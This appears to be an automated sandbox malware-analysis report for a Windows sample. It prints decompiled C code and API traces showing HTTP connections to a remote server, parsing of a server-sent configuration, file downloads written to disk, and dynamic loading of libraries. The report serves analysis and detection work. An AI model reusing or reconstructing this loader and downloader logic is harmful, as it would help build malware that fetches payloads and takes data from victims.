InternetCloseHandle.WININET(00000000), ref: 00585641
InternetCloseHandle.WININET(00000000), ref: 0058564E

Part of subcall function 00584A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00584ACE
Part of subcall function 00584A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00584AF6

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcat
String ID:
API String ID: 381316015-0
Opcode ID: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction ID: 695ab821578f17e24720db6e7ead24cbc0e24966671cf06911271cbf93b4a87f
Opcode Fuzzy Hash: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction Fuzzy Hash: E7614E71A41359ABEB24DF50CC49FE97BB4BB48700F108599F6097A1C0D7B46A84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_v10544 = E00413730(0, 0x6400000, 0);
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				 *0x41aa24( &_v5268,  *0x41a260);
				_t46 =  *0x41a368; // 0x482148
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x484c38
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x486de0
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x487278
				_t93 =  *0x41a288; // 0x486f00
				_t109 =  *0x41a7c4; // 0x484c38
				_t52 =  *0x41a368; // 0x482148
				 *0x41aa24( &_v10268, E004051A0(_t93, _t133, _t52, _t109, _t93, _t51));
				E00406320( &_v10268, _t133,  &_v10268, _v10544);
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x486688
				E004049E0( &_v10268,  &_v10540, _t111);
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x0
				_t61 =  *0x41abac; // 0x0
				_t97 =  *0x41aba4; // 0x0
				E0040A700(_t133, _v10544, _t97, _t61, _t112);
				E00401470(_v10544);
				E004056E0(_v10544, _t133, _v10544);
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544);
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x486f00
				_t116 =  *0x41a7c4; // 0x484c38
				_t71 =  *0x41a368; // 0x482148
				 *0x41aa24( &_v5004, E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272));
				_t117 =  *0x41a6a8; // 0x487c90
				SetCurrentDirectoryA(_t117);
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4);
				E00405DE0();
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,00470410), ref: 004066CD
lstrcat.KERNEL32(?,00482148), ref: 004066E0
lstrcat.KERNEL32(?,00484C38), ref: 004066F4
lstrcat.KERNEL32(?,00486DE0), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,H!H,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,-g@H!H,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00470420), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0046F5E0), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00483120), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00484C98), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00487050), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(00486FA8,00486FA8), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(00486DF8,00486DF8), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(00484B18,00484B18), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(00487C90,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Strings

xrH, xrefs: 0040670E
8LH, xrefs: 004066E6, 0040671B, 00406831
H!H, xrefs: 004066D3, 00406722, 00406838
mH, xrefs: 004066FA

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: 8LH$H!H$xrH$mH
API String ID: 2767677664-3294415401
Opcode ID: 9b3d3ce4cf543c03fcb1004fe45aae50b785c8a22e12baadb9d15caa0562e561
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: 9b3d3ce4cf543c03fcb1004fe45aae50b785c8a22e12baadb9d15caa0562e561
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 005868A0, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 176stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0058BB21

lstrcat.KERNEL32(?,00000000), ref: 00586909
lstrcat.KERNEL32(?,0041A260), ref: 0058691D
lstrcat.KERNEL32(?,H!H), ref: 00586930
lstrcat.KERNEL32(?,8LH), ref: 00586944
lstrcat.KERNEL32(?,mH), ref: 00586958

Part of subcall function 005853F0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0058541D
Part of subcall function 005853F0: StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00585443
Part of subcall function 005853F0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0058547D
Part of subcall function 005853F0: InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 005854A3
Part of subcall function 005853F0: HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00585503
Part of subcall function 005853F0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00585577
Part of subcall function 005853F0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00585593
Part of subcall function 005853F0: StrCmpCA.SHLWAPI(?,00418B8C), ref: 005855A9

lstrcat.KERNEL32(?,00000000), ref: 00586988

Part of subcall function 00586570: lstrcat.KERNEL32(?,?), ref: 005865E4

Part of subcall function 00584C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00584C5E

Part of subcall function 0058A950: GetProcessHeap.KERNEL32(00000000,000F423F,?,005869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0058A95A
Part of subcall function 0058A950: RtlAllocateHeap.NTDLL(00000000,?,005869FC), ref: 0058A961

Part of subcall function 00585930: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058593B
Part of subcall function 00585930: RtlAllocateHeap.NTDLL(00000000), ref: 00585942
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A6E4), ref: 00585955
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A22C), ref: 00585966
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC0), ref: 00585975
Part of subcall function 00585930: lstrcat.KERNEL32(?, 1H), ref: 00585986
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC4), ref: 00585995
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A544), ref: 005859A6
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC0), ref: 005859B5
Part of subcall function 00585930: lstrcat.KERNEL32(?,PpH), ref: 005859C6
Part of subcall function 00585930: GetCurrentProcessId.KERNEL32 ref: 005859CC
Part of subcall function 00585930: lstrcat.KERNEL32(?,00000000), ref: 005859E0
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC0), ref: 005859EF
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A55C), ref: 005859FF
Part of subcall function 00585930: lstrcat.KERNEL32(?,00000000), ref: 00585A0F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC4), ref: 00585A1E
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A044), ref: 00585A2F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00000000), ref: 00585A3F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC0), ref: 00585A4E
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A0FC), ref: 00585A5F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00000000), ref: 00585A6F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC4), ref: 00585A7E

lstrcat.KERNEL32(?,00000000), ref: 00586A9E
SetCurrentDirectoryA.KERNEL32(0041A6A8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00586AAB
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00586AB8

Strings

8LH, xrefs: 00586936, 0058693C, 0058696B, 00586971, 00586A81, 00586A87
H!H, xrefs: 00586923, 00586928, 00586972, 00586977, 00586A88, 00586A8D
xrH, xrefs: 0058695E, 00586963
mH, xrefs: 0058694A, 00586950

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: 8LH$H!H$xrH$mH
API String ID: 2767677664-3294415401
Opcode ID: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction ID: 73cecea4587596a941103d6540229bad1bfc8c262b5e21e256456025af349597
Opcode Fuzzy Hash: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction Fuzzy Hash: 5D6156B6901218EBDB11FBA0DC49DDA77BCBB48700F0085D5F709A3151DA34EA95CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73
image/jpeg, xrefs: 0040BDE3
g@A, xrefs: 0040BE4C, 0040BE4F

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: 3ef1ca9157f1fdfd8820455df1cb3f36de87d37b6edcfb539c36ef4f81c470d4
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: 3ef1ca9157f1fdfd8820455df1cb3f36de87d37b6edcfb539c36ef4f81c470d4
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00584C30, Relevance: 19.6, APIs: 13, Instructions: 141networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00584C5E
StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00584C8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00584CDF
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00584D1F
StrCmpCA.SHLWAPI(?,00418B8C), ref: 00584D35
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00584D67
InternetReadFile.WININET(?,?,00000400,?), ref: 00584D90
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00584DBE
CloseHandle.KERNEL32(?,?,00000400), ref: 00584E0C
InternetCloseHandle.WININET(?), ref: 00584E16
InternetCloseHandle.WININET(00000000), ref: 00584E23

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID:
API String ID: 1681390745-0
Opcode ID: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction ID: c48f0a49a7963374bed583fda3af34f9d4bd64f39e90f816667b7f16dd1ed9fd
Opcode Fuzzy Hash: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction Fuzzy Hash: AA5162B1A41319ABDB20DF50DC49FEE7BB8BB48705F108499FA05BA1C0D774AA84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824);
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: a5abd7d5013e4fdce5c3e8616a29ba9557689c68cd768ee7744dfd8a5615d837
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: a5abd7d5013e4fdce5c3e8616a29ba9557689c68cd768ee7744dfd8a5615d837
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0058BF40, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4jXA, xrefs: 0058C09C, 0058C09F
4jXA, xrefs: 0058BF6C, 0058C0C0, 0058BF6F, 0058C0C3

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID:
String ID: 4jXA$4jXA
API String ID: 0-2100316548
Opcode ID: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction ID: 9d8f0ec845ac4b02b8a5a8ee0b093f69ce5de9d71842312e0c7e8a52ea97e435
Opcode Fuzzy Hash: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction Fuzzy Hash: 4951DBB5A11208EFDB04EBE4DC48FEE7BB9BF4C740F148918F605E6290DA349951CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x486688
				 *0x41a82c = LoadLibraryA(_t1);
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x487b28
				_t24 =  *0x41a82c; // 0x0
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x488538
				_t19 =  *0x41a82c; // 0x0
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x487d80
				_t7 =  *0x41a82c; // 0x0
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x4883b8
				_t26 =  *0x41a82c; // 0x0
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x488418
				_t21 =  *0x41a82c; // 0x0
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x487d38
				_t12 =  *0x41a82c; // 0x0
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x488638
				_t28 =  *0x41a82c; // 0x0
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x488698
				_t23 =  *0x41a82c; // 0x0
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(00486688,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(00000000,00487B28), ref: 0040708F
GetProcAddress.KERNEL32(00000000,00488538), ref: 004070A7
GetProcAddress.KERNEL32(00000000,00487D80), ref: 004070BF
GetProcAddress.KERNEL32(00000000,004883B8), ref: 004070D8
GetProcAddress.KERNEL32(00000000,00488418), ref: 004070F0
GetProcAddress.KERNEL32(00000000,00487D38), ref: 00407108
GetProcAddress.KERNEL32(00000000,00488638), ref: 00407121
GetProcAddress.KERNEL32(00000000,00488698), ref: 00407139

Strings

({H, xrefs: 00407081
8}H, xrefs: 004070FB

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

